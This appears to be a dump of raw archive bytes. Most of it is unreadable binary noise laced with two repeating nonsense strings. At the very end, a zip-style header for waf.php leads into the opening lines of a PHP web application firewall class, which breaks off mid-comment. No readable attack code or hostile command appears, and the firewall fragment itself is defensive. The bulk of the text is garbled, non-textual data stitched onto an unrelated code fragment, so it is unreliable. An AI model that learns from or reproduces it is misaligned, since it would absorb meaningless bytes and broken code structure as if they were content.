Cfnܧq&[gS:}Oi4v(Jނr9LYf!""C;͝$IfO֌{1Ku5Mti+frI'Ŕyq^&7LU/q(xztusizcofhjHVN5|a/)ʡ1D.B3y)(hӑ99+' ȁosmvywndbc2[XtusizcofhjY.}=.R;xECR@ٴS=D^cdݐRF΁KZ&L	rcosmvywndbcP[ze,sH&o_doɯ-wm@j_YXtusizcofhj?!0&+sucƏK.#`xsSkE_\q
!Š9 iؿׇ*EZ$[@kwN_K\|j۽FGmx(dOf/"g*/ceЮ@ގUjGշfO9CUE9`萱d˳]fѵ?ْ.?JItusizcofhjS-)DIN26KxV]x   Ku+osmvywndbc;b^r/Hw~UfW+X.(me%-B6JRX	R2=ei9ρb'?oDʾb%R2"M9tusizcofhjK
s*RE(osmvywndbc,񧖙^}]IM'k4yB\F_,tusizcofhjlK3NؽܸĪDyJv^X8슈L#=Ov笮osmvywndbcMۜD9bI;Q=n!YUntusizcofhj?Xt3WCE[i%=$!ux*CGH?WRaLJ%E_:"ѹmRGJ"fӅtusizcofhjSUf'/
oT֢]kVNgZQ	T1x~*us 74,`]lXZ
TuKJ},	(C8]M7Uނn	0tusizcofhjy*3"҄]57saA=2I|.$P _Ƈ`@n|xrgK/B:"\n:?;qLfL2lzwû.4h(X+' @@~H4!&TZcJl&'+y'ZKs.\VmVZ#n;~FgY|p.GpowmpNc6m
 W({t)Yn+]17g;L=/@Z h2ƖsL_MA/Bf'?boOjC ~^:q(Z]s.	_Ы(
@fyޝy^XZ;I]	/-D[KX~TTc1ָM
!'wFy%[+&hk˲0ĥItAЯl^iQ j7RP7yuu46b9}F}xȉQL|j1h@oG5s*F|*t=2]_MtusizcofhjIJSd1Ơzsm:l5p=.NR(O Cgtusizcofhjosmvywndbca!63`c`dc_WH$}0MK~wm@d`'P6/GrF?ytusizcofhj}74'8^xwډwMi,[,lF;}P&[ɅBnC_`ƪ1I,N;ρ;?(u
c?	k !ke5XW]M۶ODvR/d(~$^W%ԙ}F4:©:J;GZ0g纮`xqdc~49M(
osmvywndbcꆾ"9=CAz5qjN=f+^h|0?j+檪8f|(Q[zWtusizcofhj)Nc8G?3[j/Nŉ:1=:6c_tusizcofhj`ff!އ++(9nq60_
X6=Ia0n%.}+`9osmvywndbc.@aoZ ({~j`\e{sV?ԚyILRާosmvywndbcÕb]zJجT7{;^
KL#D*,E1t ٯGgٱRޓkJHs&q4;ޑs^FgDf;ПGI(T%OJͦBrG#plɊiK!'jվ9XnNR/P//}tusizcofhjvض5b]68Oe,8+/q--%ypp+sm(ZaEI.Ⱥ٭s4۪w-tusizcofhjPx--مS4{x.ع{~pWs
ҧosmvywndbcK`}xh Aosmvywndbc7}eyz?t}#%;Ft ų-e
BCt{:T` ^'6c6vmDP$@Ơ#LUR5K IjvCJۏ8ߵzC2N۱ݾY| .7R4:3\CX+`2X^ʯW+}H5cOkޮ]/tIۦ=IN)$iosmvywndbc]I-E` ]2d.pۤZ/aOzN%3}QR ;tusizcofhjQosmvywndbcȉ9@V˒))s"k|	ꅎEޯn74JLnZI*zӀԀ?x7b瑃J)d@s]SXC+B6y-8@}E^=˩ CPu"=QM}bg&*tusizcofhj\;enlJo*6m+WYEEp&Htusizcofhj!Sn6Fݑ^B)osmvywndbcSC	e:']zIvz:yVщljc{C!+tusizcofhj}4=66'AVm/Eqdj@VxJCi&\a5&pHfsR̅;HRD#)*b~B5^ٱCaJ·/^{VoW{T	Xpa. cׯ- U{Q[ޝ&7xp_Gn̅ 0ɑR5E?sFJE{yI}dm&\qTA:靈U8E
:|.]3vH7adbwl.Q9HLzRFANh).w/	+oER~;nRgLosmvywndbcD#$b	E%2l0,Jc/gYJ;2ˈ:vh3p|a&Z碕H;Lf'{N\Oa嗢~E+%,@oե6̂B8poosmvywndbc8 Ry }:Ϝ G쏺x0tusizcofhjYn(PNFx?Vi5×jnAp׾ z"ᏦOv@/oZqQA a8qLBc\T\#oJRDi!ֱn4^?Kl} Tsd 5A@z8jiaJVosmvywndbcF}~O#Urǻ6nPosmvywndbctusizcofhjUʫ*1OI*2ϸ$)~t4ѐ_; y$tusizcofhjTw5hSLsg`ud7=H!0foܾrO 5|WΧcɪp8*e$ v|ڶ%;il+\./.-
6+d[[Jq;w~دg^tusizcofhj_Jf&qRu9:*xetq)x*LP".K|+(!hr^'tusizcofhjļd+\nI{@oؒ/hXop-/VXQ\)ؙ2|m%(X8u{tusizcofhjs΀kYFufCi{ɛj$,dsA=H@Hlm)ՇALGg*dilqLgԛ~;8ԟzMtRpYcAXfs :퐜T]͊vKDb$gosmvywndbc;@b?]4܋jW%Rgڸ`CRDÒAB맩64{bN tusizcofhjtusizcofhjrQ\z~j3h+NpdMYj wێzea(;τd]̈́zVjzoʥĲ zXٻZo7%bÁjשּׂe&	o._}mȻtusizcofhjIKdQq
,f M[ѐRutusizcofhjhQ0 T+*q*osmvywndbcʶ[[ CNEY	 #QDI98w,gp/(~ ^ԀB~t՚
(Lf-s+)[Aeڟ]Yv|wC`wm$'gtusizcofhjN8=0M 'NSPcݾ6@Mkt7{`ÕמJۥZ!͍l1*NRyTm)_Btusizcofhj5~%Nn2Xt6¦
@{#qqm%	TNLzZ}u;eWU)Cs7.pP*As Sftusizcofhjtusizcofhjk][|&+PE+xY,]7hS;mǛ[Kj[m~J{SFG\0Xtusizcofhj/! ˘þ/.KtȔ
UThRlo ]05b~o#G/YEosmvywndbcuL{XZtE1UۺmzhxLNDœFOL4~n˓{^#fi=D ۑ^rZ\tusizcofhjtusizcofhj BQv8
ҭ,tڲiF
K OLCvQӿ8[,r	@8r{7 ˂p:JtusizcofhjzBv7[~4q9W]7+ ]ǹ3*:}EK|
ޟ8d$Y?u"WdUλ0`
Mtusizcofhjl{H^+d!__.yp%%Ҩs:uyy,KĸX^\M.hIpC3) Q=ȃy8K"5Q/wosmvywndbc5H	`9osmvywndbct-I{w ^DB&TI-XdjUjJ0U *;"40_3WL)LKB*"E@g RF|t=oP
QTTxj~,6'9lہg	gj}rhUP/l=PǹJͶd&88nWɓUNSd:x+ /wQţ; 	܂v^gH1}MODڒwSpyn-Z{i ڤfwBXïM)këT#J}:Tg̿e,;VO2hQLP6|K?Fz3osmvywndbco2phF	˚QgDa8stj	n i%Ԝp}g-!.]7',SONHӪSjTjM?~sWӿй;m}aKʽjA,TCB)HN[Ij2U$Dp}P7̀6OzuL}ɖu\J)m3Wor~0`uD1/Z]m|)UZ;zO-m"?u:_ntitusizcofhjϟzDU[A2(^e!	UIp$Vu@,-.	D,OF)pۉosmvywndbc
PwcP~n@ug}TX`k@%kR|fna(tusizcofhj&?TOܩ;SN)x"av_M[O]g*UZD4lr.W"UtX=l,$a!c[osmvywndbcfAZ5B	95fUxvj=N	-bjf ;Pݖu#tusizcofhjB	6f3w^9ڲ(ߟ[osmYGG\w_Q776"Ѥ]$yBY4|ǶN$*U,HmˬK'Џzosmvywndbc7W۔wG~2	v=ȓ׾2@Z9(wsۈ=[Z[x#J\/gpnRb$~b	~B:-̵T g?kp+'3[2B^Hʂ-tusizcofhj="d}?osmvywndbcfM+
D\,s}oP0krFىosmvywndbc*r?HG~cIt_L}@cat%/S@v@uXgcEt=īq}ltusizcofhjr8tusizcofhjQa/ӬWX]{)_#`#F"}bsTwΜXSP06|&9=)T'sLnZtusizcofhjŠ I۫h6~sJmJEPuV)&\cL{zv+0!ݿo r߭|"EƁ6ݲF/}u@eO}S.V]QM
}$+.e25+Y^:~"xДD자Ab qFtF㫈zc扃]n؏$nĴ^rsk;gLL jWbaxW@^٬gmy9Fae?\¨yBZD햞0wo!SE]6g $JdPZM%H4^D4^LSou}w29/,;`P 䤎eӬǻ5Ic!=o-q6n3!/eF	˷v`0,BǾ$tusizcofhjq?yRqe*rHNf58;Ws$!)j ^ƣv31@.8.p39h4%5Njb1\sv*J4%qb
|q3#g@gAKTosmvywndbc`_9݄ 黸6b6M
{ɎWnrzw*E.bMC©MI\%8dMas㗺؝qQ{:RTsƠ)jfF`ү}%osmvywndbc5Ÿ-4g`S4#sXjO+|ѪR溤7&*S䘶T^	gtķ򕭐]|m_pD#YĮUh)/.VmosmvywndbcXRߴYv#tc!vF#M+6Mr-)^8;bZ |\r砕؏jQ׿abjMχ?\+\P$	[_)h7u?oHIf/2'mƘɏּ+ ^Qe-'@VU!Ulh[WpeBqEŒh) R
(osmvywndbcr|*"j~^#v/!k6Ͳ,ߘ9)'rVH69\aE2Xn&$q5دhSs`k0=tusizcofhjRLS,a̞?7mf_2)7nX	*eh+{?p'p[Ȓ^M.tusizcofhj|1MNnݴ.0 87YN"Py|nPtusizcofhjmGA}g搯+#Kc=9mPw)G]SVtusizcofhjQ	*oH13-C!fyN081uqnD0${AV*ъ]茶TXC`XBF=~ۚ +g*]k~posmvywndbcosmvywndbcͩ#\ߖ'&@6בɊDjqiiy`ܑ35BrosmvywndbcyBO|S~*	Ls~(Dhw	A[j- duZ	,Ӏ1|6w/v̦`h-p"H/a2boؽH8WJYkdjCeyUwdڀEQuۍZ9sK?_Yb9ۖ2)dzGu*iJP0	_73#W	1vKJ 7W6eZLZ:$&VAwz5grfosmvywndbcl}kcM\e/9:ƆPC:o4X,@G1ߤ  ᏢDb}tusizcofhjΓZ"Lt2#(p ۨp~bKk	'.SZ` '7DJΝ՘DuJ7h@UVCֳpdv`a =̚^R2afx*]Sg"+xǊlz`2M['Hnvbm1xFP#*$"
b/"?+(88qs9^;PUbe+)@FuMU]FL0YDwtusizcofhjA{}",ub?mJȜ=xF3PK҄(2aJ~q/.klMg
n~Zf2%=|8|@iovAFUosmvywndbc
jtusizcofhjacMSQUC7%5#WrF2+Z[vpMY%9{ŉQtݫ#IjH+Y3ܳxe۴cz6ߺrU[|v΅gSi#u68osmvywndbc+Lr5XO_{6}3ۈʻ[Xcĺ?̙*aI{:Djן$I5˂E7) GщUw;LvSll:䄝8|1JFZ 
?oi@ziLܬiӬ]wZ3_돛R6g-XbX(Ľvm.],z2Qd8b-_&m9ˁD݉Fw_x(H.'tusizcofhjӱ;S@&8zPMcmIBDm&8ˊ(iXdY~qE&niQ c-lj "Ktک9k1ߞ@f&s+L"H| 4ɏ;9ڶ	a P-_UxKtusizcofhj\Tm
dIfwHXHBIZ"䱗ù,5V{؃/Bގ`Shu)}3a·l	wMTai5TGøvp([rtusizcofhj͜V2O3d9tqr͂3c{X?/nE|t='ۈ"TM4tusizcofhjŘh}fզqf/^/(0IgLyJ@ &M @HQ	OaDPؕwB6J?]VI~Oۏ CYCf!1f ZFfXvy(_g]Eke!:sdW4)
Yu`4,f5;zdA{hn:&]
 YagGCEtusizcofhj'o12D@G3N	#_| qd
M%JM7_!2N
~**v1PSm
4Q9zd꫙|Yb}:?-PцJ&;^ۯ8LE2,@5꒮":ET0 Ħ"F\sS	7y `-z^+\osmvywndbctusizcofhj|cɧB3'imX IP$Z|Vs@c?%r]JCؤlsޮvv-߾xa
^o0my|Tqv3#tusizcofhjqNkDWm
L.kpo:tq᭕lRf^JVvFѲiSB {8Z\xpF~8]~#@V«1G`wL+04KmCxO9i~y9D5(osmvywndbcEF75PeY'9ͦIx(aPY|etusizcofhj|XM6y
}+~uQ:=}""ei+QDy&o_xeX]Jqk偖)ДΨC]yJBX/ޥ1ڟH$!-
 tn*jC?7?"gd8$'k})̱xMAXvbKo3)zWxwa82OdZ!tߵ\osmvywndbc9IYM_AmgFJDb]Wn1=9 { m[4EȆ
\Y7*\tusizcofhj1\M%
ίL9] 	Ly!خ8'V:ctusizcofhj@]-etjh$/[n1觝^]hw9`[Ufab!L|FC4_SQDxf5*҃ʦ\9\
xJ60 8Q26βt3* RŲr]{Ϝ4Iu|+ѷ6o
bƇ[JޏɭХD0M7KA~Mxm̲!BOoxtusizcofhjoI/t#-.𙇤uoÇG}*=^YM":LqX୉\+vniJdbmX)D
#ZkWg2L*6/Yϰ2qNg+Qo 'Ijg;1ln/ey@KL9̓IQRdf8J˧}\b{|,dcn.UW˚Dc3skRpĮ`ٺ{AsHۼ/	z!Sk@nVvDFQ1}o)JaɀIeiwP2:8(45ގd.ݩM܋HL^F'zD~ꑇ%osmvywndbc%o~!SFb.vx 5s)'NE$.
M9EاWTn7_mYV]L)K0,qF?dKR6g|n0@(BVʪ^]eq$5$ŕe_2;ޡ}Y53/tjI: 8kob\3F{llOn$DP.KR'FWBqHtusizcofhj؈nBnݾRp&h2C2U+^E}Xb:;~ܮO塡
B0p!= 0_{D(mD/ffA~JFRp"y=ǩ%Gu!'o~rsidϒzE1%gnOfJD{G9ԹRNOP;Tي/[ɰ&lUkģ|tusizcofhjVUj+LfBH,mKo1Mi3^m
CC|r\/~cbMLH 6F/?cɨJ;]/rix4 VZdtD/Gposmvywndbc[b C 	X5251Pn
LX*e}DD{{&qi֯Mxַ՟M- ∎'8x!pTiF6rD}%I| 1HxnfS]Kyِ"i͐T[F, =9k`@Lgd6A$lQיphdN@ ~ܶ!]QKu/bs@7Z_b_5ľWosmvywndbcBd x _~EO,E.39Dh`ĸ^Kfյ:9npE:z~#bT=qWHcp0ہ\..˱$iosmvywndbcYqS#7nok%_MFtusizcofhj5yL`&osmvywndbcOZ! \!s;_l$832&If1f/B̔X52/A)4`G~S1C2/h	&\6uosmvywndbcX""׬fU%D-V4sbƏw$]ߵB}j~B.ӔW8nW~?v+d-S%OQdr̭z0p[7s5%t==}(¬f37iG4:`G##$'OmnǮj
8wwCh2c  oAU'45BXG~LPosmvywndbcJm
YCǔ˦|{9$ Xh0̀u]gܳ_0L]Vb= ځ(siViW('ב x(]M=~ݛTQQ7_osmvywndbcPt33i2IyD4_oK-$	yPhW2'׹ggx_$Xa&o,?h3L!,?$!T+lp۳ʎu/
d4ܮ^(3meF·Id~3`qi⼘ÌosmvywndbcV4ʮvT:B'a$GAf7/-U2(AꓨYK]Ze--"Mr W1/p]X'ݯ5LM_0҇+aKƌ Qk22yK6z-uMݦaɕ,
@!z[."	` 'C\VFcCiqXB}UIAx4LӾosmvywndbc~ fKu&!+CtPx5wtޑC͆wyt!Boh%p1aUK
sfpߘknXxYH?_Q\)@a8O(47=fNx1еf踹 :,k}q1Q׈vҽN lhL֤oBfFԑCtusizcofhjkiAUn!PXsT͝\w_q__"L:Kz7JM/.*"@D;CDl'΄ZdѸZcjn~:=PÛ=NeݕL%%)P⭹,ψtusizcofhj]osmvywndbck׎b*c7[]k|vosmvywndbc)̒ZiT
~B7Hˏ\B	8iͨ1\a0q^!j;tE󹱶osmvywndbc _
fi4+9O۬{&C@(Ή0FԅX?dWiO#Q
02ߥcAioW$=N	s(`G
OM;~",qǧtusizcofhj~wOyF`7_h?I%˻ѯՖV? *M(Dc'p	?cPqљV.T61N6Z1LRߍ%T-vpRgBL2tusizcofhj)
W)6~s$cbcF5eK	\*Kنp A#|Dq/5' *r2)Q.fܓ_\Kz3 tft@X8osmvywndbcx|݉8e dؑ8,3":6=':SZߕ]{+G/%fIwS_|wm`i.}[SQi$A딠"Y;ͱ"Lye!&ǀ	4kefQCS/X~ Q6 omD@)	#uNf@=Jkod(;,lSlbmbސeۂ[  KMxN#}9^S1H-߬Qtusizcofhj-	-|]tusizcofhjo2"@U@H(\arRnѳg4-`Z2/tusizcofhjׂnGF8osmvywndbcLu'~yR.m_@_=.X|??ttusizcofhjNrszXJ!fKe!m2]6t-ј _}
Sosmvywndbc^31gp,m?Y/14['y$Sś.*h)zy *SRUp|BDwfpL~ @|W5 ߬:=D,gV#_"nfgcҌDmNtusizcofhjbwr	)wKp)/an -qgc"f^	'݌L{etusizcofhjH+'?3呖X诫ٜXY#oUcI{)ww޾$ʻ \E?y30O7Cc?=K\SM]$!l
.܊1-$@S(q٭m# {Ysbc%E όYd4J\&+yZrXB=osmvywndbcP~]ALle8osmvywndbc3 +Ghb$-
Ezv$©sd#_usgIQ/!{ osmvywndbc o.n?z\MDxAȪId!aιZosmvywndbc1A"6g3X.AG#z:~P;
Oּ~mi뛂Fv_.4eOROí^L;DnXMՐɈ{v]LRQX1Q(zLеtwjosmvywndbc]N81X|Z|7lo/3 ܨ,dc	,wkosmvywndbcZ.IX*ύ㿧!{l҅& 84f_xntusizcofhjpw'ҕ8iP=JyW޾HBtusizcofhjօ%IZosmvywndbce{v6͙4=9,D	R@u/^osmvywndbcmLtusizcofhjlT$tusizcofhjK˅^$Z#BTP
#)?3foć4U0KN|NSՉ3ػa!]]i=Rr0+RpJthru.Ml:~ԫ2{D;KͯFKg
47ݗQHMlcO2;-4m}~\s+ukqLTosmvywndbcq SJTDJyr9#.osmvywndbcu8F'Ζ@Twg2rQo WvLE\tusizcofhjlOuS,
%_{6T:djm'Ib!]3!iܯd[^AX`BPIi啃yEN@6!OkGZ GAWη	ݮao5eeT|"soK6vݣj:p=mk2g9^EtV ApOG`9RGr}ltR9݇vLtusizcofhjw0ca4$v:k;u4)l
{{?mI.}#NH5ChRL%o?w.`A!y,4~g(k~'AuEҽ)ʮi.ز!_a= -+('ĜãPs6W\josmvywndbc1YkU%6M`)vW#OZ[9"-DA.2'Ju-ڡFsK߹',Ω[ 2x#1׹x&l']^Pj8=!ZcEHсmAfTcv2,yC	ccJQ6(=B[Qr"wNd[=JO%wA#`_|=bze|9Z{PY Qtusizcofhj̐ZNosmvywndbcxM1 Y,aFwqm:D[ tusizcofhjtusizcofhjL_v
ty#.I{"M5\B3qLJ[RJzbɗ:[Jb?2Ds,+nū$4)|s҂&tusizcofhjvF{EYtusizcofhjlQgٻ՘5Lt`p
G--d_t-@#v#i!nNNGvRuT}o4Ťosmvywndbc^Z[K.GF=.0&-
u Hؗ芪Hb*%kKtusizcofhj-Ȳ!`q$:nL]љiiłPqr`}1Kc:@Az*ZB&UӡƋa?g8t{_ځ(	k­g|UiA$c_tusizcofhj*u2NZ3{IXfFwÔt.GREuLrosmvywndbct҄[;~+vCtGyLG\	=)?x8c=v܀Jl	^G@y]rǧϏ9w$}d0*'٢Q;f1ozI ]^tIy]K_ǇdN@	rf
`Nnv|XUO:8:&aW:t̢07wz([&ҳ88SyJUÙZTtusizcofhj=[Uc_E[y߯D!;ъkZƢ~og7SMer ~?DO}I} |=mm(fҢy!Џtusizcofhj^вǓb9)Ti6Z:!̳'^A*VtLw;p^S!EG9(oe,`]bDPFўpy$DtQ2)1gr90?d]̀iyץ絮ps/Y~òǩcq@7FA_vT}q=F(rKꏄhAd4q5KPѰ$#
uyHA/mo֚t4i6v0F+#$g5H-kXAzBaR|ξ8Nxs[ߍW)AĽQ2o`ƣ(P[O)7f=MN;vݔ#{e҂Qa7.QKyA9Nȣ1/idhb	-@)^I %^cZ_wۺ)W]|s)Bۺ rosmvywndbce_s+1Qr8Y|r~"	~y9\R.Yo.'#PfJ/f Cpntusizcofhj\	#]}I{{osmvywndbc)1'?wՉtFeMֈ]DkV:\5+ D!y0YV;N;&Ћv~5Ǖo88SF-^ۥ|)e̵t=A=t9w[7糙/k-$/Ri?vLSViP0rF'%JKRAǦA7	gw~KQ.Lղ滧xԫ;(xGmƌ_"-P@[G#D蓅NOyuS1zLd`tusizcofhj-W3醪Xf|̝沍Q-mdVZ/^:}~;^P/rDPn'WB~`~ϤBN4OW0g׆X4Qg68GPA#[33p}~1դ%ε!~4؜KERZx_olM
E dߥUP*J_o@T=tusizcofhj
'q.DӲz!YUfÎm:aJosmvywndbc~nz7a9\gJޯsN$-|lיaBt'6=XrPК]AsO^osmvywndbctusizcofhjaȳд	gƚt.9d /,MEnqܮ}UmR Ya9ĥln;tJtp8LJ"uKǣsvGsk3!s_,4NĥK]c򺴮sus\PnO1QD@&'~9fР:M*lVRq?rE=^nw.4]8B=fYX!Hf~97㚗?!!i%Re^=s&#2URx(zqedՙUX7/P6b|HdWXefGp7osmvywndbc4⿲A)yղ9И+s=]6ЈoO;9J]~_C4n|w"~\w@fn8raGS{3d
[A$؟۶Z"S3f!0(PxO8\0.B`p Ai1;bp*KWӶXÿj]UX+0յ|guDtusizcofhj,{ɥk"d*3t%H^\T9OꟘjކS1V7+Gfa)}^@QN2
;$#+gkKx+^R#8bmKQp{2GgbmutĘKґE8C=yH_sPE&yMy cp|0|[QF~Ծ%BF˚ζkD-SV|;A0UQywA0UZ!RĨ/kvo[Hf%kn
ߣXP;,^85riakہu؂C~uK;jI	x8lv)&"@9-J,׈X1Y(Ł} ggmV l qӭsmi4(
e+@MZ8#ӺY&":؈6~,8*5%57O0nCLGn[oc(NMpLkԺJx),=I*`]osmvywndbc}pgC\SwWw9튷,&.gCI\, {n8\S]osmvywndbcژAoͪEǓEC\* tLQ|. g/\0uʯfջ0jK7/8	}OK*Hs,0]b_%u AצQrRK⹼Ⱥe-&״ߚ7dMz%A#7,qH"vUlosmvywndbcW-8xakFyVRucktusizcofhjxK;lX~#i&#şz:ѭILFqG=D	o?T'AfID
4?Aۼ#BcƝ/_Z$	b*8	ħJ/V=-_uV|m\tusizcofhj% 9sWaֱH
qp!V?\7ZB+bKY`3`ޯb, _t;L\D`+tusizcofhj?y)C|؆=%z*s3#w^Ȟxq)17FG&ܓe1{6[o׽(Q2hosmvywndbc
`2D/'P&r;e[=5ZluosmvywndbcCSA\{[RP\=l}}ͣsr
&,TH8Uϲj;tusizcofhjl"@OaQ/M0'9XhrpmyKG9nsL|Oa\eHgIi8LˋVq2FVRǢ
B}~M4_:K}E&xse`[pxqپ2Kfiz04-I;PR0cp#^%IҍddxQ	3Tt{=VRΝ侺e0$^!5U6/Q,IucۂEI7Cad
U Dv9oGkBHosmvywndbcHf$$xBaa#Yρ`A}hrtusizcofhjua~4Z[bt'&|BnkesVmFVKuVlơ~N&bma0ie.JlRA,;Z9\yZ\SMC/SZ֩$f{3c~Z2Լ:gCEzb/ -ۜ4|P^VXuƊ/);,5"	Gw!k-$oJjn:O_D򵾥
$|+ItusizcofhjxXXFޏ|E\dtusizcofhjV0kL'Bs\YZl\|(tL-6_1@H^osmvywndbc!n@M[ƪKtusizcofhjOb}Jٹsɚj,/8߶aGVdXtusizcofhjPlEdQp~)	4yB61A2"Ǹ	K4FyN6TjU%d#s?!Y\B}L{+=vty9Znę^1NyijeA0	oEwxlhf&bOrHM4K0z+o}#wpE[]YGwqYhx# s֓"pW;=t$y&osmvywndbc+gxj}`π$y8bqqnlWe+(QƩhnk5oI?^OMjuv~#ԋWjÅ5D(Mosmvywndbc:ݣ~O`*gcԴeU!&UQ	܇2Y\ƒJosmvywndbc1`oUvXhg!I&kݶÁ:@	 dX-MosmvywndbcEvZaBŞ0j[)mn^:#nuGKr*{f.osmvywndbc7QYQ6H:TU^2d[H]aK6D\voqߞM.xwN^LT 9K-r3׌6j)Ҿ52Ku6jtusizcofhjT,Ia%i.ljV]9	fHiV5ymZD+cAdM-6gejepd%G10`=(܊NnkkdcY:k`RqlX|[{_VDkIW:96 ]'ќ;#Ttosmvywndbc|Bv^ďVosmvywndbcX9rK?=s~Ua@"UUvV'5  IrfEK܊(Upsi-)&n/?Sʥ2^VMJS}).9IF^	y:]at"D5LoOnؖ[]_X[;m-)t 3`9YȂ%&JK%&3$Ah)"l^
C27enosmvywndbc򶯒+R[f&&Gz	V$#MDXZZO${ĝ/J	zwI%18$P
5m*A0srE{s\Cfb9B] zLdmotusizcofhj|TT}@F4Dh++Z
N@ာ1izC%1Xd-c;ISd;WHAP3V
ҷ[!4|S!@" .'s/1}yqt|
)?E0k`ǬdmP^hzPO#ץ#߹8#coRɠqf~tusizcofhjDtxޞA	F@S;RtusizcofhjP0IUU*$/%JÎUe}4rDas+nk
[8HBp8)tusizcofhjy.&\_osmvywndbc}~y(Rm=W@;jDaN\JܙH%rl3߭e$q%{{~]&)f
C 	:kv%3KlFs5oήڧC:)z[s쉖jxP뢧	=͜__ jT=osmvywndbce,"dqL}'(tusizcofhjwzN˭6osmvywndbcOޢ}{b8Mg'z=.l*7By,- ܫxvwݚKͩ	.Sm|2/6	ޝ6[ҳFnT4iosmvywndbc?xa-Ƙ'5LnR԰7B5/0uUr(&^,CaF#@Ϊco]ͫ,[_cۯ/+pɧˑ$(+&ӣE$~Gd;*a"j)p`IwUJ]s:yqhc 	zx0iGrn2i#H d2vr܇v^fJT;7i됵osmvywndbcb
!#M	%!h߷D&3ATosmvywndbc.|p\.mĆ;$k*3}^!~%tusizcofhjpt* [8׷Bh"0,Q
5APPxJ^ot7CR[FJp{yַO4W#.|8^@H&OnO$tO	ĳNp
SL{Uӯxe$Z4jx7)nFLeljı)4b9hk0Sg/XW;ІD4,ַ#+XTQŪ߹;:0,zF! elT$Z*r5OGKtI~U#ouaz1jۣ@m3X@ÀҜez#-aۻj7;!l3W^
1fK9i5Ki:KI)z{? :)n+yo*
zCuBa	%JU;&Zj|\ģCkĺlqڌ|C\|3l!0ǝ7p!dsMT|2j	jh,-jLSYSëosmvywndbcEֿN 5;NKP@Md.osmvywndbcjmꢙYG9 tqf\č^)9fo;(8\CE2M?̤tusizcofhjosmvywndbcn9}8㱌, Ysnʫ$|?Ҳ,̚-rs'F QX5En"f\osmvywndbciCFowRۯ~SR).@mXbE.ȺjsS6BUQ*~(7gZ27#L`]v }ē2GY#*([ Ey'7osmvywndbcY2foh
n7$OfQ9dmW-;=dƿE_Rx+^um]|$5 lvGcwǌ}]}ĥ`|{\ )/9w7wv~Ci3el4?.J?kx|M;D։c	0R3hNMoEf!d.(zP'*@h\n{n[Z[2@z,- %g2tr#9XBbifh0M %U+R٠&tY1y'p9{s$AKtÇT[0	n)لOwNS:hMCŻ#SmNj)5.#g *o6d8ŨatusizcofhjH"-W\7(Jst!|Q.^Ԗ9WԷ/n:%~?XWouFREM'z,Iqh[K#osmvywndbcpi[,
RCRhN}ocIc[ˀbEXAw%)k4Kh&'P}9ɿ
ٖ%y}*([A.tPLtusizcofhjVI*e@\kHDd~}!I1%.7!;*־'ԝ)U%Ց2-j2C4D/LgTb9NBGqĩզ*%6&*Uu#sS`! 49l1,Ir`8`=҃~(
3hux.lew:ɔ/^-
!F8W9XcA!BosmvywndbcDgم\4wM5护KNg)lQnR7:Z$Wa4E]6K)$͗/0~H]~{Ў9Wsu=z2V%vEwi,Ipk0ڹ:|/a]zN;.LJnpRYcj;NO{H!̄ت RX15#v](sBȌق1uOlm2gXx5z趴r֠C$2~O`ukɪy[Fvzg4osmvywndbcLlEtusizcofhjK~GPAf`;Yóv1@d9ar_zif+e]y*o˙d?osmvywndbcDL'tlt^4:vQ-:10N{QM!zp3 .@}}焪jq{XL]@ho!܆4gflFԷ.)$x^-:L&%ιL0o&\2Ñ킨*P?th.
'tusizcofhj*B]I-G=2t[$c܉L"h] ;o~ͻOHMk;=qLkESvȖz&$CAf)QaUK%Xw;]Vs4osmvywndbcYʔ	`0#xrޒuZH=FZafBN.N	W=!ϗFo"~b	F F2K4;%`L b׵~1UWڭ0u*D:dɁ|0{k=qxtQ	}av09zn}T,&B 1d~(|^Mb?Y*5{=1mU]||+wM3[!'ឲ1?ۉ?{Җ%.](NW&SOe+UlӁ}4cC7VK :)a^tusizcofhjtC7H $ Yz%4OǴ\Ös0?kMX)QEcޓJS@7-Gxx9^RR&%rhS ژuc# 7Ѵ\7AhvOM^mH{|G8?䍞I~ׂFT]	EՆ3ZwDf$~jEA֚~D~BiݬTW8Bzco46X
o~ߜ警6y1.+Wosmvywndbcjosmvywndbc1"8Cosmvywndbc=]m?ya%F0s?߽y/+4o(׍2~Gou%6osmvywndbcVtusizcofhj@tFwqCċ]ufqhr4滇/7ĻasjW{McKڲ]+ntusizcofhjxӑݶ 'Z:+	V(Y	ȫ5~ql'	'.3*wlD+,}P?ipBWzSi2o,cf89['GId,,\p#RoE˰Ya.%Äg#Q~S,Y4xLo\ޤiauT۾j郆os8"0a:pl6VS
"ku
$ǜC%Z]:g/$M-wlԲ^49 "z4`\5W$l89L39g/LA."{Q-F+-^|.R,(9:-Ip^iܸ A;:NotwW|iܻ70!EnzM%osmvywndbcH eVC9W0(#IHeeHosmvywndbc  %}/'%HIj\bXFՕ\k~BWlV7r.L;l.okxōGC+m92af;H92dosmvywndbcJF|;jBXHp{ޛpPptusizcofhjyUǿͫ?DԮ:KAvT6ER3F,шN޶~b}#l	 g9Ŷnosmvywndbc{cY#K⣝IҞ]#(Du6r$}1u%t*:ǀ\IEIg,2n(˚Xݎ6HgjɃgzyÔ0R*vo4y߻|_51bLD~C7uO0[Kosmvywndbc{꾬(3ugZttusizcofhj%F05Xosmvywndbcv=YT{TVT؎ᐖaN"`BR,$,F%"(I\R	Wg̟0nwTu9tusizcofhj-osmvywndbcosmvywndbcWKk2	aϺ{d\!)#gVTiGҲx@Ghl=0BxSD8!3(_-PK       ! -    waf.phpnu [        <?php
if (defined('WFWAF_VERSION') && !defined('WFWAF_RUN_COMPLETE')) {

class wfWAF {

	const AUTH_COOKIE = 'wfwaf-authcookie';

	/**
	 * @var wfWAF
	 */
	private static $instance;
	protected $blacklistedParams;
	protected $whitelistedParams;
	protected $variables = array();

	/**
	 * @return wfWAF
	 */
	public static function getInstance() {
		return self::$instance;
	}

	/**
	 * @param wfWAF $instance
	 */
	public static function setInstance($instance) {
		self::$instance = $instance;
	}
	
	/**
	 * @var wfWAFStorageInterface
	 */
	private static $sharedStorageEngine;
	private static $fallbackStorageEngine;
	
	/**
	 * @return wfWAFStorageInterface
	 */
	public static function getSharedStorageEngine() {
		return self::$sharedStorageEngine;
	}
	
	/**
	 * @param wfWAFStorageInterface $instance
	 */
	public static function setSharedStorageEngine($sharedStorageEngine, $fallback = false) {
		self::$sharedStorageEngine = $sharedStorageEngine;
		self::$fallbackStorageEngine = $fallback;
	}

	public static function hasFallbackStorageEngine() {
		return self::$fallbackStorageEngine;
	}

	protected $rulesFile;
	protected $trippedRules = array();
	protected $failedRules = array();
	protected $scores = array();
	protected $scoresXSS = array();
	protected $failScores = array();
	protected $rules = array();
	/**
